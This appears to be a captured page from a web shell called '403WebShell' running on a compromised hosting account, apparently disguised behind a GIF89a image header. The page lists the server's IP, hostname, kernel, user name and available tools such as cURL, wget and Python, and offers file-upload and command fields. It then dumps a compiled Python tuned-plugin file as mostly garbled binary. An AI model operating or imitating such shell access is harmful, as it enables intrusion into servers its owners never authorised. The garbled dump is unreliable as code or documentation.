GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/tuned/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/tuned/plugins/__pycache__/plugin_net.cpython-36.pyc
3

�<�e�Z�@spddlZddlmZddlTddlZddlmZddlm	Z	ddl
Z
ddlZejj
�ZdZGdd	�d	ej�ZdS)
�N�)�hotplug)�*)�ethcard)�commandsZpumbagsdcs.eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
edd��Zedd��Z
edd��Zedd��Zedd��Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zed(d)��Zed*d+d,�d-d.��Zed*�did0d1��Zed2�d3d4��Zed2�d5d6��Zgfd7d8�Zdjd:d;�Z ed<d+d,�d=d>��Z!d?d@�Z"ed<�dkdAdB��Z#edCd+d,�dDdE��Z$edC�dldFdG��Z%dHdI�Z&dJdK�Z'dLdM�Z(dNdO�Z)dPdQ�Z*dRdS�Z+dTdU�Z,dmdVdW�Z-dXdY�Z.e/dZd+d,�d[d\��Z0e/d]d+d,�d^d_��Z1e/d`d+d,�dadb��Z2e/dcd+d,�ddde��Z3e/dfd+d,�dgdh��Z4�Z5S)n�NetTuningPlugina�
	`net`::
	
	Configures network driver, hardware and Netfilter settings.
	Dynamic change of the interface speed according to the interface
	utilization is also supported. The dynamic tuning is controlled by
	the [option]`dynamic` and the global [option]`dynamic_tuning`
	option in `tuned-main.conf`.
	+
	The [option]`wake_on_lan` option sets wake-on-lan to the specified
	value as when using the `ethtool` utility.
	+
	.Set Wake-on-LAN for device eth0 on MagicPacket(TM)
	====
	----
	[net]
	devices=eth0
	wake_on_lan=g
	----
	====
	+
	The [option]`coalesce` option allows changing coalescing settings
	for the specified network devices. The syntax is:
	+
	[subs="+quotes,+macros"]
	----
	coalesce=__param1__ __value1__ __param2__ __value2__ ... __paramN__ __valueN__
	----
	Note that not all the coalescing parameters are supported by all
	network cards. For the list of coalescing parameters of your network
	device, use `ethtool -c device`.
	+	
	.Setting coalescing parameters rx/tx-usecs for all network devices
	====
	----
	[net]
	coalesce=rx-usecs 3 tx-usecs 16
	----
	====
	+
	The [option]`features` option allows changing 
	the offload parameters and other features for the specified
	network devices. To query the features of your network device,
	use `ethtool -k device`. The syntax of the option is the same as
	the [option]`coalesce` option.
	+
	.Turn off TX checksumming, generic segmentation and receive offload 
	====
	----
	[net]
	features=tx off gso off gro off
	----
	====
	The [option]`pause` option allows changing the pause parameters for
	the specified network devices. To query the pause parameters of your
	network device, use `ethtool -a device`. The syntax of the option
	is the same as the [option]`coalesce` option.
	+
	.Disable autonegotiation
	====
	----
	[net]
	pause=autoneg off
	----
	====
	+
	The [option]`ring` option allows changing the rx/tx ring parameters
	for the specified network devices. To query the ring parameters of your
	network device, use `ethtool -g device`. The syntax of the option
	is the same as the [option]`coalesce` option.
	+	
	.Change the number of ring entries for the Rx/Tx rings to 1024/512 respectively
	=====
	-----
	[net]
	ring=rx 1024 tx 512
	-----
	=====
	+
	The [option]`channels` option allows changing the numbers of channels
	for the specified network device. A channel is an IRQ and the set
	of queues that can trigger that IRQ. To query the channels parameters of your
	network device, use `ethtool -l device`. The syntax of the option
	is the same as the [option]`coalesce` option.
	+
	.Set the number of multi-purpose channels to 16
	=====
	-----
	[net]
	channels=combined 16
	-----
	=====
	+   
	A network device either supports rx/tx or combined queue
	mode. The [option]`channels` option automatically adjusts the
	parameters based on the mode supported by the device as long as a
	valid configuration is requested.
	+
	The [option]`nf_conntrack_hashsize` option sets the size of the hash
	table which stores lists of conntrack entries by writing to
	`/sys/module/nf_conntrack/parameters/hashsize`.
	+
	.Adjust the size of the conntrack hash table
	====
	----
	[net]
	nf_conntrack_hashsize=131072
	----
	====
	+
	The [option]`txqueuelen` option allows changing txqueuelen (the length
	of the transmit queue). It uses `ip` utility that is in package	iproute
	recommended for TuneD, so the package needs to be installed for its correct
	functionality. To query the txqueuelen parameters of your network device
	use `ip link show` and the current value is shown after the qlen column.
	+
	.Adjust the length of the transmit queue
	====
	----
	[net]
	txqueuelen=5000
	----
	====
	+
	The [option]`mtu` option allows changing MTU (Maximum Transmission Unit).
	It uses `ip` utility that is in package	iproute recommended for TuneD, so
	the package needs to be installed for its correct functionality. To query
	the MTU parameters of your network device use `ip link show` and the
	current value is shown after the MTU column.
	+
	.Adjust the size of the MTU
	====
	----
	[net]
	mtu=9000
	----
	====
	cs6tt|�j||�d|_d|_t�|_i|_d|_dS)Ng�������?�T)	�superr�__init__�_load_smallest�_level_stepsr�_cmd�_re_ip_link_show�_use_ip)�self�args�kwargs)�	__class__�� /usr/lib/python3.6/plugin_net.pyr
�szNetTuningPlugin.__init__cCshd|_t�|_t�|_tjd�}x.|jjd�D]}|j|j	�r.|jj
|j�q.Wtj
dt|j��dS)NTz(?!.*/virtual/.*)�netzdevices: %s)Z_devices_supported�setZ
_free_devicesZ_assigned_devices�re�compile�_hardware_inventoryZget_devices�matchZdevice_path�addZsys_name�log�debug�str)rZre_not_virtual�devicerrr�
_init_devices�s
zNetTuningPlugin._init_devicescs�fdd�|D�S)Ncsg|]}�jjd|��qS)r)rZ
get_device)�.0�x)rrr�
<listcomp>�sz7NetTuningPlugin._get_device_objects.<locals>.<listcomp>r)rZdevicesr)rr�_get_device_objects�sz#NetTuningPlugin._get_device_objectscCsXd|_|j|jd�r<d|_|jjd|j�|_i|_i|_	nd|_d|_d|_d|_	dS)NT�dynamicrF)
Z_has_static_tuningZ_option_boolZoptionsZ_has_dynamic_tuning�_monitors_repositoryZcreateZassigned_devices�
_load_monitor�_idle�_stats)r�instancerrr�_instance_init�szNetTuningPlugin._instance_initcCs"|jdk	r|jj|j�d|_dS)N)r(r'�delete)rr+rrr�_instance_cleanup�s
z!NetTuningPlugin._instance_cleanupcCs|j||�dS)N)�_instance_update_dynamic)rr+r rrr�_instance_apply_dynamic�sz'NetTuningPlugin._instance_apply_dynamiccCs<dd�|jj|�D�}|dkr"dS||jkr8|j||�|j|||�|j||�|j|}|j|}|ddkr�|d|jkr�|d|jkr�d|d<tj	d|�t
|�jd	�nF|ddkr�|ddks�|ddkr�d|d<tj	d
|�t
|�j�tj
d||d|df�tj
d||d|d|df�dS)
NcSsg|]}t|��qSr)�int)r"�valuerrrr$�sz<NetTuningPlugin._instance_update_dynamic.<locals>.<listcomp>�levelr�read�writerz%s: setting 100Mbps�dz%s: setting max speedz %s load: read %0.2f, write %0.2fz$%s idle: read %d, write %d, level %d)r(Zget_device_loadr*�_init_stats_and_idle�
_update_stats�_update_idler)rr�inforZ	set_speed�
set_max_speedr)rr+r �loadZstatsZidlerrrr/�s&


($z(NetTuningPlugin._instance_update_dynamiccCs2ddddddddddddddddddddddd�S)N)zadaptive-rxzadaptive-txzrx-usecsz	rx-frameszrx-usecs-irqz
rx-frames-irqztx-usecsz	tx-framesztx-usecs-irqz
tx-frames-irqzstats-block-usecszpkt-rate-lowzrx-usecs-lowz
rx-frames-lowztx-usecs-lowz
tx-frames-lowz
pkt-rate-highz
rx-usecs-highzrx-frames-highz
tx-usecs-highztx-frames-highzsample-intervalr)�clsrrr�_get_config_options_coalesce�s,z,NetTuningPlugin._get_config_options_coalescecCsdddd�S)N)�autoneg�rx�txr)r=rrr�_get_config_options_pause�sz)NetTuningPlugin._get_config_options_pausecCsddddd�S)N)r@zrx-minizrx-jumborAr)r=rrr�_get_config_options_ringsz(NetTuningPlugin._get_config_options_ringcCsddddd�S)N)r@rA�other�combinedr)r=rrr�_get_config_options_channelssz,NetTuningPlugin._get_config_options_channelscCsddddddddddd�
S)NT)
r&�wake_on_lan�nf_conntrack_hashsize�features�coalesce�pause�ring�channels�
txqueuelen�mtur)r=rrr�_get_config_optionssz#NetTuningPlugin._get_config_optionscCsF|jt|�j��}ddgd|dgd�|j|<dddd�|j|<dS)N�r�r)�new�max)r3r4r5)�_calc_speedrZ
get_max_speedr*r))rr+r Z	max_speedrrrr7sz$NetTuningPlugin._init_stats_and_idlecCs�|j|d|j|d<}||j|d<dd�t||�D�}||j|d<|j|d}dd�t||�D�}||j|d<t|d�t|d�|j|d	<t|d
�t|d
�|j|d<dS)NrS�oldcSsg|]}|d|d�qS)rrr)r"Znew_oldrrrr$(sz1NetTuningPlugin._update_stats.<locals>.<listcomp>�diffrTcSsg|]}t|��qSr)rT)r"Zpairrrrr$-srr4rRr5)r*�zip�float)rr+r Znew_loadZold_loadrWZold_max_loadZmax_loadrrrr8"s"zNetTuningPlugin._update_statscCsLxFdD]>}|j|||jkr6|j||d7<qd|j||<qWdS)Nr4r5rr)r4r5)r*rr))rr+r Z	operationrrrr94s
zNetTuningPlugin._update_idlecCsH||jkrD|j|ddkrDd|j|d<tjd|�t|�j�dS)Nr3rz%s: setting max speed)r)rr:rr;)rr+r rrr�_instance_unapply_dynamic<sz)NetTuningPlugin._instance_unapply_dynamiccCstd|d�S)Ng333333�?i�g333333�@g333333#A)r1)rZspeedrrrrUBszNetTuningPlugin._calc_speedcCs�|jj|�}ttjdd|��j�}t|�}|ddkrPtjd|t|�f�dS|dkr^t	�St	t
t|ddd�|ddd����S)Nz (:\s*)|(\s+)|(\s*;\s*)|(\s*,\s*)� rRrzinvalid %s parameter: '%s'r)Z
_variables�expandrr�sub�split�lenr�error�dict�listrX)rr2�context�vZlvrrr�_parse_config_parametersKsz(NetTuningPlugin._parse_config_parameterscCs||jjddddddddd	d
ddd
dddddd�|�}dd�|jd�D�}t|�dkrXdStdd�dd�|dd�D�D��S)Nzadaptive-rx:z
adaptive-tx:zrx-frames-low:zrx-frames-high:ztx-frames-low:ztx-frames-high:zlro:zrx:ztx:zsg:ztso:zufo:zgso:zgro:zrxvlan:ztxvlan:zntuple:zrxhash:)zAdaptive RX:z\s+TX:z
rx-frame-low:zrx-frame-high:z
tx-frame-low:ztx-frame-high:zlarge-receive-offload:zrx-checksumming:ztx-checksumming:zscatter-gather:ztcp-segmentation-offload:zudp-fragmentation-offload:zgeneric-segmentation-offload:zgeneric-receive-offload:zrx-vlan-offload:ztx-vlan-offload:zntuple-filters:zreceive-hashing:cSs2g|]*}tt|��dkrtjdt|��r|�qS)rz
\[fixed\]$)r`rr�search)r"rerrrr$ssz<NetTuningPlugin._parse_device_parameters.<locals>.<listcomp>�
rRcSsg|]}t|�dkr|�qS)rR)r`)r"�urrrr$xscSsg|]}tjdt|���qS)z:\s*)rr_r)r"rerrrr$xsr)r
�multiple_re_replacer_r`rb)rr2Zvlrrr�_parse_device_parametersZs0z(NetTuningPlugin._parse_device_parameterscCsdS)Nz,/sys/module/nf_conntrack/parameters/hashsizer)rrrr�_nf_conntrack_hashsize_pathzsz+NetTuningPlugin._nf_conntrack_hashsize_pathrGT)Z
per_devicecCs^|dkrdStjddt|��}tjdtd|�s@tjd�dS|sZ|jjdd|d|g�|S)	N�0�dz^[z]+$zIncorrect 'wake_on_lan' value.�ethtoolz-sZwol)	rr^rr�
WOL_VALUESr�warnr
�execute)rr2r �sim�removerrr�_set_wake_on_lan~s
z NetTuningPlugin._set_wake_on_lanFcCsXd}y:tjdtd|jjd|g�dtj�}|r<|jd�}Wntk
rRYnX|S)Nz.*Wake-on:\s*([z]+).*ror)rrrpr
rr�S�group�IOError)rr �ignore_missingr2�mrrr�_get_wake_on_lan�s(z NetTuningPlugin._get_wake_on_lanrHcCsN|dkrdSt|�}|dkrF|sB|jj|j�||r:tjgndd�|SdSdS)NrF)Zno_error)r1r
Z
write_to_filerl�errno�ENOENT)rr2rsrtZhashsizerrr�_set_nf_conntrack_hashsize�sz*NetTuningPlugin._set_nf_conntrack_hashsizecCs(|jj|j��}t|�dkr$t|�SdS)Nr)r
Z	read_filerlr`r1)rr2rrr�_get_nf_conntrack_hashsize�sz*NetTuningPlugin._get_nf_conntrack_hashsizecCsz|js
dSddg|}|jj|tjgdd�\}}}|tjkrRtjd�d|_dS|rvtjd�tjd||f�dS|S)	NZip�linkT)�	no_errorsZ
return_errz0ip command not found, ignoring for other devicesFzProblem calling ip commandz(rc: %s, msg: '%s'))	rr
rrr|r}rrqr:r)rrZrc�outZerr_msgrrr�
_call_ip_link�s

zNetTuningPlugin._call_ip_linkNcCsdg}|r|j|�|j|�S)NZshow)�appendr�)rr rrrr�
_ip_link_show�s
zNetTuningPlugin._ip_link_showrNcCsr|dkrdSyt|�Wn"tk
r:tjd|�dSX|sn|jdd|d|g�}|dkrntjd|�dS|S)Nz$txqueuelen value '%s' is not integerr�devrNz%Cannot set txqueuelen for device '%s')r1�
ValueErrorrrqr�)rr2r rsrt�resrrr�_set_txqueuelen�szNetTuningPlugin._set_txqueuelencCs(||jkrtjd|�|j|<|j|S)z@
		Return regex for int arg value from "ip link show" command
		z.*\s+%s\s+(\d+))rrr)r�argrrr�_get_re_ip_link_show�s
z$NetTuningPlugin._get_re_ip_link_showcCs`|j|�}|dkr(|s$tjd|�dS|jd�j|�}|dkrV|sRtjd|�dS|jd�S)NzECannot get 'ip link show' result for txqueuelen value for device '%s'ZqlenzFCannot get txqueuelen value from 'ip link show' result for device '%s'r)r�rr:r�rgrw)rr ryr�r�rrr�_get_txqueuelen�s
zNetTuningPlugin._get_txqueuelenrOcCsr|dkrdSyt|�Wn"tk
r:tjd|�dSX|sn|jdd|d|g�}|dkrntjd|�dS|S)Nzmtu value '%s' is not integerrr�rOzCannot set mtu for device '%s')r1r�rrqr�)rr2r rsrtr�rrr�_set_mtu�szNetTuningPlugin._set_mtucCs`|j|�}|dkr(|s$tjd|�dS|jd�j|�}|dkrV|sRtjd|�dS|jd�S)Nz>Cannot get 'ip link show' result for mtu value for device '%s'rOz?Cannot get mtu value from 'ip link show' result for device '%s'r)r�rr:r�rgrw)rr ryr�r�rrr�_get_mtu�s
zNetTuningPlugin._get_mtucCsl|dkrdSt|j��}|j|j|j|jd�}t||�j��}|j|�shtjd|t	||�f�dSdS)NrIT)rJrKrLrMzunknown %s parameter(s): %sF)
r�keysr>rBrCrF�issubsetrrar)rrdrnZparamsZsupported_getterZ	supportedrrr�_check_parameters
s

z!NetTuningPlugin._check_parameterscCsR|jjdddd�|�}|jd�dd�}dd�|D�}td	d�d
d�|D�D��S)Nr?r@rA)Z
Autonegotiate�RX�TXrhrcSs&g|]}|dkrtjd|�r|�qS)�z	\[fixed\])rrg)r"r#rrrr$sz;NetTuningPlugin._parse_pause_parameters.<locals>.<listcomp>cSsg|]}t|�dkr|�qS)rR)r`)r"r#rrrr$ scSsg|]}tjd|��qS)z:\s*)rr_)r"r#rrrr$ s)r
rjr_rb)r�s�lrrr�_parse_pause_parameterssz'NetTuningPlugin._parse_pause_parameterscCsjtjd|tjd�}|d}|jjddddd�|�}|jd	�}d
d�|D�}dd�d
d�|D�D�}t|�S)Nz^Current hardware settings:$)�flagsrr@zrx-minizrx-jumborA)r�zRX MinizRX Jumbor�rhcSsg|]}|dkr|�qS)r�r)r"r#rrrr$,sz:NetTuningPlugin._parse_ring_parameters.<locals>.<listcomp>cSsg|]}t|�dkr|�qS)rR)r`)r"r#rrrr$-scSsg|]}tjd|��qS)z:\s*)rr_)r"r#rrrr$-s)rr_�	MULTILINEr
rjrb)rr��ar�rrr�_parse_ring_parameters#s
z&NetTuningPlugin._parse_ring_parameterscCsjtjd|tjd�}|d}|jjddddd�|�}|jd	�}d
d�|D�}dd�d
d�|D�D�}t|�S)Nz^Current hardware settings:$)r�rr@rArDrE)r�r�ZOtherZCombinedrhcSsg|]}|dkr|�qS)r�r)r"r#rrrr$:sz>NetTuningPlugin._parse_channels_parameters.<locals>.<listcomp>cSsg|]}t|�dkr|�qS)rR)r`)r"r#rrrr$;scSsg|]}tjd|��qS)z:\s*)rr_)r"r#rrrr$;s)rr_r�r
rjrb)rr�r�r�rrr�_parse_channels_parameters1s
z*NetTuningPlugin._parse_channels_parameterscCszg}d|kr(|jd|dd|dg�n,ttt|d�t|d���}|jd|g�ttt|ddd�|ddd����S)NrEr@rrA�rR)�extendrrTr1rbrcrX)rrdZparams_list�
dev_paramsZmod_params_listZcntrrr�_replace_channels_parameters>sz,NetTuningPlugin._replace_channels_parametersc	CsRt|j��}t|j��}||}x,|D]$}tjd|||f�|j|d�q&WdS)aFilter unsupported parameters and log warnings about it

		Positional parameters:
		context -- context of change
		parameters -- parameters to change
		device -- name of device on which should be parameters set
		dev_params -- dictionary of currently known parameters of device
		z-%s parameter %s is not supported by device %sN)rr�rZwarning�pop)	rrdZ
parametersr r�Zsupported_parametersZparameters_to_changeZunsupported_parameters�paramrrr�_check_device_supportGs	

z%NetTuningPlugin._check_device_supportc
Cs�dddddd�}||}|jjd||g�\}}|dksBt|�dkrFdS|j|j|j|j|jd�}||}||�}	|d	kr�|j||	�r�dS|	S)
Nz-cz-kz-az-gz-l)rJrIrKrLrMrorrJ)r
rrr`rkr�r�r�r�)
rrdr �context2opt�opt�retr2Zcontext2parser�parserrnrrr�_get_device_parameters^s 
z&NetTuningPlugin._get_device_parametersc	Cs�|dkst|�dkrdS|j||�}|dks:|j||�r>iS|r�|j||||�|dkr�t|tt|���dkr�|j||jj	|�|�}|r�t|�dkr�t
jd|t|�f�dddd	d
d�}||}|jjd||g|jj	|�d
gd�|S)NrrM�n/armzsetting %s: %sz-Cz-Kz-Az-Gz-L)rJrIrKrLrMro�P)r�)r�rm)
r`rfr�r�r�next�iterr�r
�	dict2listrrrr)	rrdr2r rsr�rnr�r�rrr�_set_device_parametersps  $z&NetTuningPlugin._set_device_parameterscs�|j||d�}|r�|j||�}|dks2t|�dkr6dS|j|||||d���dks^t��dkrbdS�fdd�|j�D�}t|�}|r�|jj��|jj|�k}	|j||	�||d�|	S|j	j
|dj|jj|���n|j	j|�}
|j||
|d�dS)	N)Zcommand_nameZdevice_namerF)r�cs g|]\}}|�kr||f�qSrr)r"r�r2)�
params_setrrr$�sz6NetTuningPlugin._custom_parameters.<locals>.<listcomp>)r r\)
Z_storage_keyr�r`r��itemsrbr
r�Z_log_verification_resultZ_storager�join�get)rrd�startr2r �verifyZstorage_keyZparams_currentZrelevant_params_currentr��original_valuer)r�r�_custom_parameters�s:

